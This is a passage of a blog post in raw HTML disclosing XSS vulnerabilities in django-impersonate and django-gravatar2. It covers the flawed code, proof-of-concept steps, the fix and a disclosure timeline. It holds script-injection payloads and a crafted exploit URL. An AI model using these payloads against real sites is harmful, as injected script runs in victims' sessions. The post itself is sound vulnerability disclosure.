rendered from the &lt;code class="docutils literal"&gt;search_users&lt;/code&gt; view includes the result of the function.&lt;/p&gt;
&lt;!-- rstcheck: ignore-next-code-block --&gt;
&lt;div class="code"&gt;&lt;pre class="code python"&gt;&lt;a id="rest_code_07205a00cb9349fcb5a995fa66c03bb3-1" name="rest_code_07205a00cb9349fcb5a995fa66c03bb3-1" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_07205a00cb9349fcb5a995fa66c03bb3-1"&gt;&lt;/a&gt;&lt;span class="c1"&gt;# impersonate/views.py (search_users)&lt;/span&gt;
&lt;a id="rest_code_07205a00cb9349fcb5a995fa66c03bb3-2" name="rest_code_07205a00cb9349fcb5a995fa66c03bb3-2" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_07205a00cb9349fcb5a995fa66c03bb3-2"&gt;&lt;/a&gt;&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;render&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;a id="rest_code_07205a00cb9349fcb5a995fa66c03bb3-3" name="rest_code_07205a00cb9349fcb5a995fa66c03bb3-3" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_07205a00cb9349fcb5a995fa66c03bb3-3"&gt;&lt;/a&gt;    &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;a id="rest_code_07205a00cb9349fcb5a995fa66c03bb3-4" name="rest_code_07205a00cb9349fcb5a995fa66c03bb3-4" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_07205a00cb9349fcb5a995fa66c03bb3-4"&gt;&lt;/a&gt;    &lt;span class="n"&gt;template&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;a id="rest_code_07205a00cb9349fcb5a995fa66c03bb3-5" name="rest_code_07205a00cb9349fcb5a995fa66c03bb3-5" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_07205a00cb9349fcb5a995fa66c03bb3-5"&gt;&lt;/a&gt;    &lt;span class="p"&gt;{&lt;/span&gt;
&lt;a id="rest_code_07205a00cb9349fcb5a995fa66c03bb3-6" name="rest_code_07205a00cb9349fcb5a995fa66c03bb3-6" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_07205a00cb9349fcb5a995fa66c03bb3-6"&gt;&lt;/a&gt;        &lt;span class="s1"&gt;'users'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;a id="rest_code_07205a00cb9349fcb5a995fa66c03bb3-7" name="rest_code_07205a00cb9349fcb5a995fa66c03bb3-7" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_07205a00cb9349fcb5a995fa66c03bb3-7"&gt;&lt;/a&gt;        &lt;span class="s1"&gt;'paginator'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;paginator&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;a id="rest_code_07205a00cb9349fcb5a995fa66c03bb3-8" name="rest_code_07205a00cb9349fcb5a995fa66c03bb3-8" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_07205a00cb9349fcb5a995fa66c03bb3-8"&gt;&lt;/a&gt;        &lt;span class="s1"&gt;'page'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;page&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;a id="rest_code_07205a00cb9349fcb5a995fa66c03bb3-9" name="rest_code_07205a00cb9349fcb5a995fa66c03bb3-9" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_07205a00cb9349fcb5a995fa66c03bb3-9"&gt;&lt;/a&gt;        &lt;span class="s1"&gt;'page_number'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;page_number&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;a id="rest_code_07205a00cb9349fcb5a995fa66c03bb3-10" name="rest_code_07205a00cb9349fcb5a995fa66c03bb3-10" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_07205a00cb9349fcb5a995fa66c03bb3-10"&gt;&lt;/a&gt;        &lt;span class="s1"&gt;'query'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;a id="rest_code_07205a00cb9349fcb5a995fa66c03bb3-11" name="rest_code_07205a00cb9349fcb5a995fa66c03bb3-11" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_07205a00cb9349fcb5a995fa66c03bb3-11"&gt;&lt;/a&gt;        &lt;span class="s1"&gt;'redirect'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;get_redir_arg&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;a id="rest_code_07205a00cb9349fcb5a995fa66c03bb3-12" name="rest_code_07205a00cb9349fcb5a995fa66c03bb3-12" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_07205a00cb9349fcb5a995fa66c03bb3-12"&gt;&lt;/a&gt;        &lt;span class="s1"&gt;'redirect_field'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;get_redir_field&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;a id="rest_code_07205a00cb9349fcb5a995fa66c03bb3-13" name="rest_code_07205a00cb9349fcb5a995fa66c03bb3-13" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_07205a00cb9349fcb5a995fa66c03bb3-13"&gt;&lt;/a&gt;    &lt;span class="p"&gt;},&lt;/span&gt;
&lt;a id="rest_code_07205a00cb9349fcb5a995fa66c03bb3-14" name="rest_code_07205a00cb9349fcb5a995fa66c03bb3-14" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_07205a00cb9349fcb5a995fa66c03bb3-14"&gt;&lt;/a&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;div class="code"&gt;&lt;pre class="code html"&gt;&lt;a id="rest_code_c2140b86310f43eab160be13b4401f7c-1" name="rest_code_c2140b86310f43eab160be13b4401f7c-1" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_c2140b86310f43eab160be13b4401f7c-1"&gt;&lt;/a&gt;&lt;span class="cm"&gt;&amp;lt;!-- impersonate/templates/impersonate/search_users.html --&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_c2140b86310f43eab160be13b4401f7c-2" name="rest_code_c2140b86310f43eab160be13b4401f7c-2" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_c2140b86310f43eab160be13b4401f7c-2"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;form&lt;/span&gt; &lt;span class="na"&gt;action&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"{% url 'impersonate-search' %}"&lt;/span&gt; &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"GET"&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_c2140b86310f43eab160be13b4401f7c-3" name="rest_code_c2140b86310f43eab160be13b4401f7c-3" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_c2140b86310f43eab160be13b4401f7c-3"&gt;&lt;/a&gt;   Enter Search Query:&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;br&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_c2140b86310f43eab160be13b4401f7c-4" name="rest_code_c2140b86310f43eab160be13b4401f7c-4" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_c2140b86310f43eab160be13b4401f7c-4"&gt;&lt;/a&gt;   &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"q"&lt;/span&gt; &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"{% if query %}{{ query }}{% endif %}"&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;br&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_c2140b86310f43eab160be13b4401f7c-5" name="rest_code_c2140b86310f43eab160be13b4401f7c-5" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_c2140b86310f43eab160be13b4401f7c-5"&gt;&lt;/a&gt;   {{redirect_field}}
&lt;a id="rest_code_c2140b86310f43eab160be13b4401f7c-6" name="rest_code_c2140b86310f43eab160be13b4401f7c-6" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_c2140b86310f43eab160be13b4401f7c-6"&gt;&lt;/a&gt;   &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"submit"&lt;/span&gt; &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"Search"&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;br&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_c2140b86310f43eab160be13b4401f7c-7" name="rest_code_c2140b86310f43eab160be13b4401f7c-7" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_c2140b86310f43eab160be13b4401f7c-7"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;form&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Assuming the application defined the &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;IMPERSONATE["REDIRECT_FIELD_NAME"]&lt;/span&gt;&lt;/code&gt; setting as &lt;code class="docutils literal"&gt;next&lt;/code&gt;,
the URL used to exploit the vulnerability would be &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;/impersonate/search/?next={payload}&lt;/span&gt;&lt;/code&gt;.
Where &lt;code class="docutils literal"&gt;{payload}&lt;/code&gt; can be:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code html"&gt;&lt;a id="rest_code_bf2ecd617dcf430f97ef419190e00657-1" name="rest_code_bf2ecd617dcf430f97ef419190e00657-1" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_bf2ecd617dcf430f97ef419190e00657-1"&gt;&lt;/a&gt;"/&amp;gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;domain&lt;/span&gt;&lt;span class="p"&gt;)&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"hidden&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;What this does is:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Uses a &lt;code class="docutils literal"&gt;"/&amp;gt;&lt;/code&gt; to close the &lt;code class="docutils literal"&gt;input&lt;/code&gt; tag.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Injects a script that shows an alert with the current domain.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Opens a new tag so the rest of the HTML is not shown as broken.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The payload injected into the template would look like this:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code html"&gt;&lt;a id="rest_code_78348a36bbbe4c9aaf284d9f565cc0a4-1" name="rest_code_78348a36bbbe4c9aaf284d9f565cc0a4-1" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_78348a36bbbe4c9aaf284d9f565cc0a4-1"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"next"&lt;/span&gt; &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_78348a36bbbe4c9aaf284d9f565cc0a4-2" name="rest_code_78348a36bbbe4c9aaf284d9f565cc0a4-2" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_78348a36bbbe4c9aaf284d9f565cc0a4-2"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;domain&lt;/span&gt;&lt;span class="p"&gt;)&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_78348a36bbbe4c9aaf284d9f565cc0a4-3" name="rest_code_78348a36bbbe4c9aaf284d9f565cc0a4-3" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_78348a36bbbe4c9aaf284d9f565cc0a4-3"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt;&lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;
&lt;section id="proof-of-concept"&gt;
&lt;h3&gt;Proof of concept&lt;/h3&gt;
&lt;p&gt;I created a &lt;a class="reference external" href="https://github.com/stsewd/poc-xss-django-impersonate"&gt;proof of concept&lt;/a&gt; to demonstrate the vulnerability, so you can see it in action,
you just need to have Python and &lt;a class="reference external" href="https://docs.astral.sh/uv/getting-started/installation/"&gt;uv&lt;/a&gt; installed:&lt;/p&gt;
&lt;p&gt;It consists of a simple Django project with &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;django-impersonate==1.9.3&lt;/span&gt;&lt;/code&gt; installed,
with the &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;IMPERSONATE["REDIRECT_FIELD_NAME"]&lt;/span&gt;&lt;/code&gt; setting defined as &lt;code class="docutils literal"&gt;next&lt;/code&gt;.&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code bash"&gt;&lt;a id="rest_code_1a7c378dff5249a5ad28f5051a239f49-1" name="rest_code_1a7c378dff5249a5ad28f5051a239f49-1" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_1a7c378dff5249a5ad28f5051a239f49-1"&gt;&lt;/a&gt;$&lt;span class="w"&gt; &lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;clone&lt;span class="w"&gt; &lt;/span&gt;https://github.com/stsewd/poc-xss-django-impersonate
&lt;a id="rest_code_1a7c378dff5249a5ad28f5051a239f49-2" name="rest_code_1a7c378dff5249a5ad28f5051a239f49-2" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_1a7c378dff5249a5ad28f5051a239f49-2"&gt;&lt;/a&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;poc-xss-django-impersonate
&lt;a id="rest_code_1a7c378dff5249a5ad28f5051a239f49-3" name="rest_code_1a7c378dff5249a5ad28f5051a239f49-3" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_1a7c378dff5249a5ad28f5051a239f49-3"&gt;&lt;/a&gt;$&lt;span class="w"&gt; &lt;/span&gt;uv&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;manage.py&lt;span class="w"&gt; &lt;/span&gt;migrate
&lt;a id="rest_code_1a7c378dff5249a5ad28f5051a239f49-4" name="rest_code_1a7c378dff5249a5ad28f5051a239f49-4" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_1a7c378dff5249a5ad28f5051a239f49-4"&gt;&lt;/a&gt;&lt;span class="c1"&gt;# Create a user to log into the application.&lt;/span&gt;
&lt;a id="rest_code_1a7c378dff5249a5ad28f5051a239f49-5" name="rest_code_1a7c378dff5249a5ad28f5051a239f49-5" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_1a7c378dff5249a5ad28f5051a239f49-5"&gt;&lt;/a&gt;$&lt;span class="w"&gt; &lt;/span&gt;uv&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;manage.py&lt;span class="w"&gt; &lt;/span&gt;createsuperuser
&lt;a id="rest_code_1a7c378dff5249a5ad28f5051a239f49-6" name="rest_code_1a7c378dff5249a5ad28f5051a239f49-6" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_1a7c378dff5249a5ad28f5051a239f49-6"&gt;&lt;/a&gt;$&lt;span class="w"&gt; &lt;/span&gt;uv&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;manage.py&lt;span class="w"&gt; &lt;/span&gt;runserver
&lt;/pre&gt;&lt;/div&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Go to &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;http://127.0.0.1:8000/admin/login/&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Log in with the user you created&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Go to &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;http://127.0.0.1:8000/impersonate/search/?next=?next="&amp;gt;&amp;lt;script&amp;gt;alert(document.domain)&amp;lt;/script&amp;gt;&amp;lt;input&lt;/span&gt; &lt;span class="pre"&gt;type="hidden&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;A pop-up with the domain of the page should appear&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Showing an alert is just a simple example,
but an attacker can execute any JavaScript code in the context of the user's session.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="mitigation"&gt;
&lt;h3&gt;Mitigation&lt;/h3&gt;
&lt;p&gt;You should never use &lt;code class="docutils literal"&gt;mark_safe&lt;/code&gt; with user-controlled content,
if you need to build HTML with user-controlled data outside of a template,
you can use the &lt;a class="reference external" href="https://docs.djangoproject.com/en/4.2/ref/utils/#django.utils.html.format_html"&gt;format_html&lt;/a&gt; function,
as you can see in the two commits that fixed the vulnerability:
&lt;a class="reference external" href="https://hg.code.netlandish.com/~petersanchez/django-impersonate/rev/06991a735f290884eec08effb3fa31ed45cc26e5"&gt;06991a735f29&lt;/a&gt;,
&lt;a class="reference external" href="https://hg.code.netlandish.com/~petersanchez/django-impersonate/rev/33cb8c77262a474869ab94bcb82c5446baf3c228"&gt;33cb8c77262a&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="timeline"&gt;
&lt;h3&gt;Timeline&lt;/h3&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;11/06/2024&lt;/strong&gt;: Found and reported the vulnerability to the maintainer.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;13/06/2024&lt;/strong&gt;: Maintainer replied and confirmed the vulnerability.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;14/06/2024&lt;/strong&gt;: Maintainer released version 1.9.4 with the fix.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;/section&gt;
&lt;section id="django-gravatar2"&gt;
&lt;h2&gt;django-gravatar2&lt;/h2&gt;
&lt;p&gt;&lt;a class="reference external" href="https://pypi.org/project/django-gravatar2/"&gt;django-gravatar2&lt;/a&gt; allows you to integrate &lt;a class="reference external" href="https://gravatar.com/"&gt;Gravatar&lt;/a&gt; in your project,
so you can show the user's avatar based on their email.&lt;/p&gt;
&lt;section id="the-vulnerability-1"&gt;
&lt;h3&gt;The vulnerability&lt;/h3&gt;
&lt;p&gt;After grepping the codebase for common vulnerable patterns,
I found this code that caught my attention:&lt;/p&gt;
&lt;iframe frameborder="0" scrolling="no" style="width:100%; height:457px;" allow="clipboard-write" src="https://emgithub.com/iframe.html?target=https%3A%2F%2Fgithub.com%2Ftwaddington%2Fdjango-gravatar%2Fblob%2Fed123f849b5207e11efdfb1b2b0235baa41df356%2Fdjango_gravatar%2Ftemplatetags%2Fgravatar.py%23L24-L41&amp;amp;style=default&amp;amp;type=code&amp;amp;showBorder=on&amp;amp;showLineNumbers=on&amp;amp;showFileMeta=on&amp;amp;showFullPath=on&amp;amp;showCopy=on"&gt;&lt;/iframe&gt;&lt;p&gt;You can see that the application is building an HTML &lt;code class="docutils literal"&gt;img&lt;/code&gt; tag with several attributes,
like CSS class, alt text, size, and the URL of the Gravatar image,
and marking it as safe with &lt;a class="reference external" href="https://docs.djangoproject.com/en/4.2/ref/utils/#django.utils.safestring.mark_safe"&gt;mark_safe&lt;/a&gt;
(Django won't escape it when including it in a template).
Of all these attributes, only the URL is being &lt;a class="reference external" href="https://docs.djangoproject.com/en/4.2/ref/utils/#django.utils.html.escape"&gt;escaped&lt;/a&gt;,
all other values are used as is.&lt;/p&gt;
&lt;p&gt;I found that the function is used as a &lt;a class="reference external" href="https://docs.djangoproject.com/en/4.2/howto/custom-template-tags/"&gt;template tag&lt;/a&gt; to render the Gravatar image:&lt;/p&gt;
&lt;iframe frameborder="0" scrolling="no" style="width:100%; height:100px;" allow="clipboard-write" src="https://emgithub.com/iframe.html?target=https%3A%2F%2Fgithub.com%2Ftwaddington%2Fdjango-gravatar%2Fblob%2Fed123f849b5207e11efdfb1b2b0235baa41df356%2Fdjango_gravatar%2Ftemplatetags%2Fgravatar.py%23L56&amp;amp;style=default&amp;amp;type=code&amp;amp;showBorder=on&amp;amp;showLineNumbers=on&amp;amp;showFileMeta=on&amp;amp;showFullPath=on&amp;amp;showCopy=on"&gt;&lt;/iframe&gt;&lt;p&gt;For example, you can use it in a template like this:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code html"&gt;&lt;a id="rest_code_f521820c5c474d8b82222bf1d87eeba2-1" name="rest_code_f521820c5c474d8b82222bf1d87eeba2-1" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_f521820c5c474d8b82222bf1d87eeba2-1"&gt;&lt;/a&gt;{% load gravatar from gravatar %}
&lt;a id="rest_code_f521820c5c474d8b82222bf1d87eeba2-2" name="rest_code_f521820c5c474d8b82222bf1d87eeba2-2" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_f521820c5c474d8b82222bf1d87eeba2-2"&gt;&lt;/a&gt;
&lt;a id="rest_code_f521820c5c474d8b82222bf1d87eeba2-3" name="rest_code_f521820c5c474d8b82222bf1d87eeba2-3" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_f521820c5c474d8b82222bf1d87eeba2-3"&gt;&lt;/a&gt;{% gravatar user 50 "User profile" %}
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;In this example, the size and the alt text are hardcoded,
so there is no way for an attacker to inject arbitrary HTML.
But what happens if the size or alt text come from the user?
Then we have a problem, as the values are not escaped before being included in the template.&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code html"&gt;&lt;a id="rest_code_ff197f3f36894d049e181e2d8c1973f7-1" name="rest_code_ff197f3f36894d049e181e2d8c1973f7-1" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_ff197f3f36894d049e181e2d8c1973f7-1"&gt;&lt;/a&gt;{% load gravatar from gravatar %}
&lt;a id="rest_code_ff197f3f36894d049e181e2d8c1973f7-2" name="rest_code_ff197f3f36894d049e181e2d8c1973f7-2" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_ff197f3f36894d049e181e2d8c1973f7-2"&gt;&lt;/a&gt;
&lt;a id="rest_code_ff197f3f36894d049e181e2d8c1973f7-3" name="rest_code_ff197f3f36894d049e181e2d8c1973f7-3" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_ff197f3f36894d049e181e2d8c1973f7-3"&gt;&lt;/a&gt;{% gravatar user 50 user.name %}
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;
&lt;section id="exploitation-1"&gt;
&lt;h3&gt;Exploitation&lt;/h3&gt;
&lt;p&gt;Since the vulnerability is in a template tag,
exploiting the vulnerability will depend if the application uses the template tag with user-controlled content.
We can assume that a common alt text is the user's name.&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code html"&gt;&lt;a id="rest_code_33b22a77e52342f3aeaf3a9e39b39a0d-1" name="rest_code_33b22a77e52342f3aeaf3a9e39b39a0d-1" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_33b22a77e52342f3aeaf3a9e39b39a0d-1"&gt;&lt;/a&gt;{% load gravatar from gravatar %}
&lt;a id="rest_code_33b22a77e52342f3aeaf3a9e39b39a0d-2" name="rest_code_33b22a77e52342f3aeaf3a9e39b39a0d-2" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_33b22a77e52342f3aeaf3a9e39b39a0d-2"&gt;&lt;/a&gt;
&lt;a id="rest_code_33b22a77e52342f3aeaf3a9e39b39a0d-3" name="rest_code_33b22a77e52342f3aeaf3a9e39b39a0d-3" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_33b22a77e52342f3aeaf3a9e39b39a0d-3"&gt;&lt;/a&gt;{% gravatar user 50 user.first_name %}
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Then the attacker can inject the payload in the user's name.
A simple payload could be:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code html"&gt;&lt;a id="rest_code_f876fb109e1c4f6bada6953dd7248de3-1" name="rest_code_f876fb109e1c4f6bada6953dd7248de3-1" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_f876fb109e1c4f6bada6953dd7248de3-1"&gt;&lt;/a&gt;"/&amp;gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;domain&lt;/span&gt;&lt;span class="p"&gt;)&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;img&lt;/span&gt; &lt;span 